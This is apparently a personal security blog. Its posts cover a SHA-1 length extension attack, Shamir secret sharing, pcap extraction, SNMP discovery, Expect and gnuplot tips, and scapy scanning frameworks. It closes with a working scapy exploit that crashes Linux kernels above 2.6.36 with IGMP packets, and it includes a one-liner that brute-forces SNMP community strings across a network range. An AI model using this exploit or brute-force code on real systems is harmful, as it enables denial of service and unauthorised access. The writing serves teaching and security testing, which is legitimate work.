SHA-1 length extension attack example in python

This is nothing special and was done a million times before, but not by me :). So what is the "length extension attack" that I'm talking about. Easy, this just means that you can add anything to some popular hashes like MD5, SHA-1 and SHA-2 (with exception of SHA-224 and SHA-384, they truncate the output), almost any hash based on Merkle–Damgård construction. The problem is in the design of the hash. Basically the hash/digest that you receive at the end of the computation is exactly the internal state of the hashing function at the end of the operation. This is not a very bad thing if you know about it and you will uses hashes correctly. 

I've implemented this attack for SHA-1 only but it is quite trivial to do it for other functions based on this example.

First let generate a hash of some message ("secret" in this case):

> ./sha1.py secret
msg: secret
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4

Now knowing only the hash and that the length of the hashed message was 6 bytes I can produce a hash of the original message (that is unknown to me) and some added data (in this case " that can be shared"):

> ./sha1_len_ext_attack.py e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 6 " that can be shared"
msg: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003020746861742063616e20626520736861726564
e73b327069f3658ab8f60d9a21a3961e5d371b8d

In green you see padding of the original hash (we need the length of the message for this) and in pink our added message. In orange is the hash that we were looking for.

Now lets verify that we got the correct output, normally you can't do this because you don't know the original message. First we need to get hex values of the characters in the word "secret":

> printf secret | xxd
0000000: 7365 6372 6574                           secret

Now lets put together the above value and the green and pink values from the sha1_len_ext_attack.py command. The option -x to sha1.py allows for providing hex values:

> ./sha1.py -x 7365637265748000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003020746861742063616e20626520736861726564
msg: secret?0 that can be shared
e73b327069f3658ab8f60d9a21a3961e5d371b8d

As you can see the orange hashes match. The message adding is not perfect, there is some garbage between the original and the new added message (one \x80 byte, some null bytes and a few bytes that represent the length of the original message in bits) but this sometimes is not a problem.

To implement this attack you first need to implement the hash function you are attacking (or take somebody else implementation). I did mine based on the method 1 from RFC 3174. It was more fun this way. In the second step you will need to change the initial internal state of the function (the h(0)-h(n) values) based on the original hash that you've got, then calculate the rest of the hash normally and you are done.

In real life this can cause issues like for example in the Flick's API case.

how to calculate .onion hostname based on the private_key file - Tor

Inside the Tor network you can use addresses in the .onion domain to access  hidden services. The address is generated based on a host's RSA key. Sometimes you may want to have multiple identities or you are running multiple hidden servers and want to check which key belongs to which hidden service, this is how to do it:

> openssl rsa -in private_key -pubout -outform DER |\
python -c 'import sys,hashlib,base64;\
print base64.b32encode(hashlib.sha1(sys.stdin.read()[22:]).digest()[:10]).lower()'

The private_key is the name of the file that holds the key used by the hidden service.

payload extraction from multiple streams - script

I had a need for a simple payload extraction from a pcap file, I wanted it to start based on my bpf expression and later extract all unique data streams that matched that expression to files in a binary format. I wanted it to be able to extract flow from almost any protocol not only TCP (for that you have tcpflow). The script is very simple it uses ngrep to do the work on the pcap file and the hex values are converted to characters using perl. There are many ways and also many tools that will extract the payload from the streams, I just needed something quick and small.

The whole script is just one loop on the output from ngrep:

my $file=shift;
my $bpf=shift;
my $ts=time();

my $conv = "";
my $buff = "";

open(CMD,"ngrep -qxlI $file \"\" \"$bpf\" |");
while(<CMD>){
  chomp;
  if (/^\S+ (\S+?):(\d+) -> (\S+?):(\d+)(\s|$)/){
    if ($conv ne "" and $buff ne ""){
      open(OUT,">> $conv");
      print OUT map(chr(hex($_)),split(" ",$buff));
      close(OUT);
    }
    $buff = "";
    $conv = "out_$1_$2_$3_$4_$ts.bin";
    print "\r.";
  }
  if (/^\s{2}(.{50})/) {
    $buff .= "$1 ";
  }
}
close(CMD);

The second regular expressions matches any hex data and appends it to the buffer. When the first regular expression is matched and if there is anything in the buffer then that data will be appended to a unique file for that conversation.

simple and easy to modify for different protocols, the full code is here.

Or you can use tshark or wireshark.

tshark -T fields -e data -r input.pcap | xxd -r -p > extracted.dat

sharing secrets

In some situations you have a need to share secret/information between people, but you require that it should only be known to them based on some event. Putting aside all the non-technical means of doing this, most common way people try to solve this problem is using encryption. One person gets the key the other person receives the encrypted data. Problem with this is that in theory it is possible that the person who got the encrypted data will be able to brute force the key. Even if you say you trust somebody today, people do change, people like to know secrets. It would be much nicer to split the data in such a way that there will be not enough information given to a single person to even in theory recover the secret. 

There are couples of ways to do it, here I will show two. First will be a simple one time pad, second will be Shamir's Secret Sharing.

One time pad

First let's see our secret message:

> cat secret.txt
this is the most important secret on this planet,
keep is secret, keep it safe

> ls -l secret.txt
-rw------- 1 user user 80 2012-07-10 10:00 secret.txt

the size of this file is 80 bytes, we need this to generate the pad:

> dd if=/dev/urandom of=pad.dat bs=1 count=80
80+0 records in
80+0 records out
80 bytes (80 B) copied, 0.000284124 s, 282 kB/s

> ls -l pad.dat
-rw------- 1 user user 80 2012-07-10 10:06 pad.dat

just to confirm that we got some kind of random stuff inside this file:

> od -c pad.dat

0000000   [   h   "   q  \b   í   /   z   Ű 231   ˙   a   Ă 202   V   Ş

0000020   š  \n   9   ¤   f   G 002   n   ?   Ş   ) 211   C 230   Ř 022

0000040   ú 226   Q 036   ç   ý 004 226 203   S   °   O 026   ů 025   s

0000060 216   Ň 211   ü 177   q 235 023   \   ŕ   Ş   ß   w   e   ¨   ĺ

0000100   o   9   C   Ý   ř   g   x   ň 005   r   6   Q 001   D   Ź   ~

0000120

now, we run a very simple script that will xor data from both files with each other and output result to STDOUT. I will redirect the result to a file named output.dat:

> ./filexor.py secret.txt pad.dat > output.dat

> ls -l output.dat
-rw------- 1 user user 80 2012-07-10 10:13 output.dat
> od -c output.dat
0000000   /  \0   K 002   ( 204   \   Z   Ż   ń 232   A   Ž   í   %   Ţ
0000020 231   c   T   Ô  \t   5   v 017   Q   Ţ  \t   ú   &   ű   Ş   w
0000040 216   ś   >   p   Ç 211   l   ˙   đ   s   Ŕ   #   w 227   p  \a
0000060   ˘   ň 203 227 032 024   í   3   5 223 212   Ź 022 006   Ú 200
0000100 033 025   c   ś 235 002  \b   Ň   l 006 026   "   `   "   É   t
0000120

just to confirm that we used the correct secret.txt file:

> od -c secret.txt
0000000   t   h   i   s       i   s       t   h   e       m   o   s   t
0000020       i   m   p   o   r   t   a   n   t       s   e   c   r   e
0000040   t       o   n       t   h   i   s       p   l   a   n   e   t
0000060   ,      \n   k   e   e   p       i   s       s   e   c   r   e
0000100   t   ,       k   e   e   p       i   t       s   a   f   e  \n
0000120

OK, so right now we have two files pad.dat and output.dat, you can give one file to one person the other file to another and there is no way for them to guess the secret. How to recover the secret message? Simple: xor the two files together again:

> ./filexor.py output.dat pad.dat
this is the most important secret on this planet,
keep is secret, keep it safe

OK, this method is nice if you only have two people that you would like to share secret with. It gets a bit problematic when you would like to allow n people out of m to be able to recover the secret. It is still possible to do this, but it requires a lot of juggling with the files. The good thing about this method is that there is virtually no limit on the size of the secret message.

Shamir's Secret Sharing

If you require something more flexible then the one time pad, fortunately for you a guy called Adi Shamir realised that you could use polynomials to do exactly what you want. The idea is simple (like most ideas that are already discovered) - to find the equation for polynomial of degree n you need n+1 points. If you like to share a secret between m people and from those n people (n<=m) should be enough to recover the secret you need to create a polynomial of a degree n-1 and generate m points on it. Where do we "hide" the secret in the polynomial? The secret is the free coefficient. To recover the secret we need to calculate Lagrange polynomial based on the given points and x=0. That is the theory, now practice:

Converting text to number is easy (python cli):

>>> int("this is a very simple text".encode('hex'),16)

187060217333970177770122667038844020393030967291702967972231284L

>>> hex(187060217333970177770122667038844020393030967291702967972231284).replace("0x","").replace("L","").decode('hex')

'this is a very simple text'

>>>

The rest is a bit too big to fit here, but the script works like this:

First some help to know what options we will be using.
 ./sss.py <options>

  Usage:

  This program implements in a very simple and basic way
  Shamir's secret-sharing scheme:
  https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

  -h      - this screen,
  -e msg  - generate secrets for msg,
  -d      - recover secret based on the data in file (-f),
  -f file - file to either write secrets or read them,
  -a num  - overall number of secrets (not less then -r),
  -r num  - required number of secrets (min 2),

let's share a secret message between ten people but any three of them should be enough to recover it:

> ./sss.py -e "this is the secret message" -a 10 -r 3 -f output.dat

> cat output.dat

HE2DENJSGQ2TINZXGA4DUNJSHAZTANZSHEYDAMBVGI2DIMBVHA4DAMBYGUZDMNBSHAZTONRXGA2DINRQGMZTQMRQGE4TONBTGE3TQMBYGM4TINBZGI4TMMRRGIYTINJQGAYDAOBXHAZDGMJZGY3TGMBTG43TMNJXGA2A====

GIZTEMZTGEYDSNBRGAZTUMZSGEYDAOBQGYYTCOBVGI3TSNZXGQ4TQMJQHE4TKMBQGU4DMNJYGE2TSMRYHE2DIOBRGQ4TGNRRHEZTGMRYGE3DENJQGU4TQMRQGAZDQMZTHEZTGMZWGU2TSOJQG43DKMBSG4YDCMJTHE======

G4ZDMOJYG42TQMJXHA2DUMZRGQZTANZYGY2DMOBRGYYDGMJXHE3DKMRXGAZDOMZRGE2DMNJQGY4DMMBWGIYDONJVGIZTMOJWHAYDANJUGE2TGNRSHEZTIMRSGE4TEOJQGYZTGMJYGQYTAMJYHA4DAMZSHEZTCNZVHA2A====

G4ZDGNBRGY3DCMRSGI4DUMZRGEZDENZWHAZDCMJZGEYTMMZQHA3DCOBWGE4TKNJYG43DAMJWHAYTGMBWGE4TQNBZGI3TGMBVGM2DEOJVGY3TONBYG43DMMJZGI4DANBUG4ZTEMZUG4YDMOBQG44DGNBTHAYDONBSGY2A====

GQYDSNJRGM2TCMZTGM2DUOJZG4ZTENZTG4YTAMJXGM3DIMBZGA2TONBTGYYTSNRSHE3TANZUGMZTONJQG4ZTSMRSGIYTSNJXHA2TGNZXGI2DOMZYGAZTAOBYHEYTKMJRHE2DQOBRGU3TKMBYG44DQOJSGIZTSMJYGQ======

G4ZTKMRQGAZDOMZYGI4TUMZSGE2DIOJTG4ZTINJUGQZDQMBQGY2TGMBTHEYTANRUGY4TKOJQHA2DCOBWGI2TKMBTGU2TEMRTGEZDMNJXGU3TAOJRGM2TSMZSGM3DANRQGQZTSMJSG4ZTKNBYHE2DKNRQHA3TAMBZHE4Q====

GQ2TSMJZGQ4DONRRG4YDUMJSGUZTSOJTGYZDSNBXGYYDEMJYGA3TOMRRGE2DEMZUGQZDMNZZGEZTGMRRGM2TAMZSGU2DCMJYGI4TCNBTHA2DCMRTHEYDKNZSGU3TKNRYHEZDEOBXGA4DOMJXGY3DOMZTGQ4TANRQGA4A====

GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====

GY3TENBTG4ZDGNZTGA4DUMRWHA4TAOBWGUYDQMJQHA4DQNBYG4YDIOJVGE2DSOBZGIZTOOJVG43DONZXGQYTAMJUGY3DQMZVGM2TANRRGYYTSNBWGE4DKNRWGQ2TAMZRHE3DQMRWGEYTMOJRG42TMOJRGYZDSMBVGA2A====

GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======

output is base32 encoded for ease of moving, this is what you get if you decode any of them:

>>> from base64 import *

>>> b32decode("HE2DENJSGQ2TINZXGA4DUNJSHAZTANZSHEYDAMBVGI2DIMBVHA4DAMBYGUZDMNBSHAZTONRXGA2DINRQGMZTQMRQGE4TONBTGE3TQMBYGM4TINBZGI4TMMRRGIYTINJQGAYDAOBXHAZDGMJZGY3TGMBTG43TMNJXGA2A====")

'942524547708:52830729000524405880085264283767044603382019743178083944929621214500008782319673037765704'

>>>

there are two values separated by colon, the first one is x the other is y.

now let's recover it using all of the points:

> ./sss.py -d -f output.dat

this is the secret message

that was easy, now let's see what happens if we only use three points from this set:

> cat output.dat

GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====

GY3TENBTG4ZDGNZTGA4DUMRWHA4TAOBWGUYDQMJQHA4DQNBYG4YDIOJVGE2DSOBZGIZTOOJVG43DONZXGQYTAMJUGY3DQMZVGM2TANRRGYYTSNBWGE4DKNRWGQ2TAMZRHE3DQMRWGEYTMOJRG42TMOJRGYZDSMBVGA2A====

GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======

> ./sss.py -d -f output.dat

this is the secret message

if you leave only two points in the output.dat file:

> cat output.dat

GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====

GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======

we get something like this:

> ./sss.py -d -f output.dat
Traceback (most recent call last):
  File "./sss.py", line 156, in
    print out.decode('hex')
  File "/usr/lib/python2.7/encodings/hex_codec.py", line 42, in hex_decode
    output = binascii.a2b_hex(input)
TypeError: Odd-length string
Exit 1

which tells you that I need to add some error checking ;), but also that two points are not enough to produce any meaningful results in this case :). 

The good thing about this method is its flexibility in choosing how to split and recover the secret. The problem is that you can't split a very large secret using it. The mathematics that creates the secret is only done on integers but the recovery requires floating point operations.

SNMP network discovery scripts - perl, ruby and python (scapy)

Two scripts one in perl (a very old one, I'm a bit ashamed of it) one in ruby (a bit newer, logic is much better, will not hang on huge routing tables and will not kill the device with too many queries). You could be surprised how much of your network is using the default community strings.

The logic here is first to try to read some standard OIDs with a bunch of different community strings from the "seed" device. If there is a community string that works it will be moved higher in the order in which the script test them. Once the script knows the community string it will query the routing table and ARP table via SNMP to find neighbours and then repeat the whole process on them. The hosts are being distinguished by their local IP addresses, the script generates a MD5 digest from those IPs (gathered also by SNMP) to check if it is a host that was already seen.

Actually the second script was an exercise in learning/trying out ruby. It is not complete. The main function is fully implemented the missing component is a nice way of printing/storing the data.

If you would like to brute force community strings on a specific network range or a single host then I would suggest to use scapy and something like this:

>>> snmpcomm=[comm.strip() for comm in open("wordlist-common-snmp-community-strings.txt").readlines()]


>>> send(IP(dst="1.2.3.0/24")/UDP(sport=RandShort(),dport=161)/SNMP(community=snmpcomm,version=["v2c","v1","v2"],PDU=SNMPget(varbindlist=SNMPvarbind(oid="1.3.6.1.2.1.1.1.0"))))


assuming here that 1.2.3.0/24 is your target. I use send() because I just want to send the packets and I don't want to waste time on waiting for replays. In a different session on the same machine I run:

tcpdump -n udp src port 161 and net 1.2.3.0/24

and I wait for the replays. They will include the community string that triggered them.

console automation - Expect

Today is time for some examples of Expect (extension of Tcl/Tk) scripts that I use almost daily. The most common usage scenarios are:

- automating common login (never do this unless you don't care about the passwords aka lab passwords for machine that will be wiped anyway),

- adjusting the remote environment to your needs without the modifying permanently any files on the remote machine (for example because it will be rebuild from scratch next day),

- running tests and verifying results (like running a command waiting sometime and verifying if you got the result you wanted, repeating the whole sequence 1000 times or until the result is reached),

- running some macros while in the interactive mode,

All of those things can be found combined in those two scripts (link1, link2).

All the scripts, including few a bit more specialized, can be found here.

gnuplot - plot from a pipe/stdin

EDITED TO ADD: I have no idea how I missed this, you can just use "plot '-'" as mentioned in the comments. This proves that my searching skills suck.

This is not rocket science but I couldn't find it (yeah I know my searching foo sucks) on the Internet (aka Google nowadays).


So just to make a note if I would forget about this and I would want again to create plots from some data without putting it into file:

huge_one_liner_goes_here | gnuplot -p -e 'plot "< cat /proc/$$/fd/0"'

A small script I created that adds a bit more options can be found here.

A great page with examples is here. Two nice blogs, first one has been quiet since some time, the second one looks active.

scapy - few simple scripts/examples

Scapy allows you to manipulate packets in almost any imaginable way (and some less imaginable), the good thing is that you have to use python (easy to build, flexible) and the bad thing is that you have to use python (slow, lots of dependencies). The official documentation can be found here.

First three scripts are frameworks for network scanning. There is really no point in going into details about all the possible ways you can scan the network. There are hundreds of books on the subject (great one is "Nmap Network Scanning" by Fyodor author of nmap) and probably thousands of web pages. I just want to show some frameworks in scapy that someone may find useful.

First one is a firewalking script it assumes that you have a host on the other side of the firewall. It spoofs the source IP of all the hosts in the LAN randomly and sends packets to specific ports (also in random order) of that host outside. This assumes few things, that the firewall rules are general, that there are no special conditions for any hosts in the LAN and there is nothing unique about the single host to which we are sending packets.

Second script is also a firewalking script but it sends packets with TTL (or hop limit for IPv6) +1 of the distance to firewall, so that the next router will send us ICMP time to live exceeded. This allows to test much broader range of things. Also if there is no ARP spoofing protection, you can test the rules for any device in your network by manipulating ARP entries.

Stateless scan - not very efficient in scapy, but it works. You have two processes one that sends the packets and one that receives them, they don't communicate with each other. The sending processes doesn't keep any information about the send packets it just fires and forgets. The question is how does the receiving process know which packets are responses? The sending process manipulates the protocol information to make sure that the response will be unique in some way. In case of the TCP the best place is the sequence number because it will be send back. In this example the sequence number is based on the hash of the destination host and port plus a random salt (idea similar to syn cookies). The salt is the only thing that is known to both the sending and receiving process. One thing about this method is that because there is no state, there is no way to know if we just lost a packet somewhere midway. Original idea, as far as I can tell, came from scanrand. Similar idea (stateless) is being used in onesixtyone. In most common cases nmap is better ;)

0trace - an old idea from lcamtuf (Michal Zalewski). It is a TCP traceroute but on an established TCP connection. Basically you just match the sequence numbers and inject your packets into an already existing connection and in the same time manipulate the TTL as a normal traceroute would do. The idea is that currently there are so many state-full firewalls that normal traceroute will not be able to show you much.

All of those scripts are frameworks/examples, they are not assumed to be finished tools, but they still should work ;).

quick scapy example for Linux kernel > 2.6.36 - IGMP kernel panic

A quick post, for fun :)

Based on http://www.exploit-db.com/exploits/18378/

in scapy put:

from struct import pack
from socket import inet_aton

target = "127.0.0.1" # host target IP, change this !!!
a=pack("!BBH",0x11,0xff,0)+inet_aton("224.0.0.1")
b=pack("!BBH",0x11,0x0,0)+inet_aton("0.0.0.0")+pack("!BBBB",0,0,0,0)
a1=a[:2]+pack("!H",checksum(a))+a[4:]
b1=b[:2]+pack("!H",checksum(b))+b[4:]
send(IP(dst=target,proto=2)/a1)
send(IP(dst=target,proto=2)/b1)

and enjoy kernel panic on your target (if it is running linux kernel above 2.6.36, including 3.x and allows IGMP traffic).  Yes, I know that it could be more nicely written, but this works.

There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.